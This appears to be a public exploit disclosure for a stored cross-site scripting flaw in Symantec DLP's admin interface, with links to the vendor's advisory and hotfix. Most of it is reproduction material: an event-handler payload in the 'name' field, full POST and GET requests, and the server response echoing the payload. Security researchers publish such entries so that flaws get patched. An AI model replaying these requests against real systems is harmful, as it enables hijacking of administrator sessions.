Symantec DLP 15.5 MP1 Cross-Site Scripting

2019.07.03
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: Persistent XSS on Symantec DLP <= 15.5 MP1 # Date: 2019-06-21 # Exploit Author: Chapman Schleiss # Vendor Homepage: https://www.symantec.com/ # Software Link: https://support.symantec.com/us/en/mysymantec.html # Version: <= 15.5 MP1 # CVE : 2019-9701 # Advisory-URL: https://support.symantec.com/us/en/article.SYMSA1484.html # Hot Fix: https://support.symantec.com/us/en/article.ALERT2664.html Description --------------- Persistent XSS via 'name' param at /ProtectManager/enforce/admin/senderrecipientpatterns/list Payload: ' oNmouseover=prompt(document.domain,document.cookie) ) Browser: Firefox 64, IE 11 Date Observed: 15 January 2019 Reproduction POST ----------------- POST /ProtectManager/enforce/admin/senderrecipientpatterns/recipient_patterns/update HTTP/1.1 Host: [snip].com:8443 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https:// [snip].com:8443/ProtectManager/enforce/admin/senderrecipientpatterns/recipient_patterns/edit?id=41&version=30 Content-Type: application/x-www-form-urlencoded Content-Length: 558 Connection: close name=%27+oNmouseover%3Dprompt%28document.domain%2Cdocument.cookie%29+%29&description=some_text&userPatterns=test% 40test.com&ipAddresses=192.168.1.1&urlDomains=mail.company.com &id=41&version=30 Reproduction GET ---------------- GET /ProtectManager/enforce/admin/senderrecipientpatterns/list HTTP/1.1 Host: [snip].com:8443 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https:// [snip].com:8443/ProtectManager/enforce/admin/senderrecipientpatterns/recipient_patterns/edit?id=41&version=30 Connection: close Reproduction Response --------------------- <div id="messages-section"> <div class="message-pane alert-pane"> <div class="alert-message"> <div class="yui3-g message-pane-scroll"> <div class="yui3-u-1-24 message-icon"> <img src="/ProtectManager/graphics/success_icon.gif" alt="Success" width="19" height="19" /> </div> <div class="yui3-u-11-12 wrapping-text"> <div id="web-status-message-163" class="message-content"> Recipient pattern '' oNmouseover=prompt(document.domain,document.cookie) )' was saved successfully. </div> </div> <div class="yui3-u-1-24"> <div class="message-pane-actions"> <a href="#" class="message-back-to-element hidden action-icon"> <img src="/ProtectManager/graphics/general/scroll_back_16.png" alt="" title="Show affected object"/> </a> <a href="#" class="message-pane-close action-icon"> <img src="/ProtectManager/graphics/general/cancel_blue_16.png" alt="" title="Close message bar"/> </a> </div> </div> </div> </div> </div> </div>


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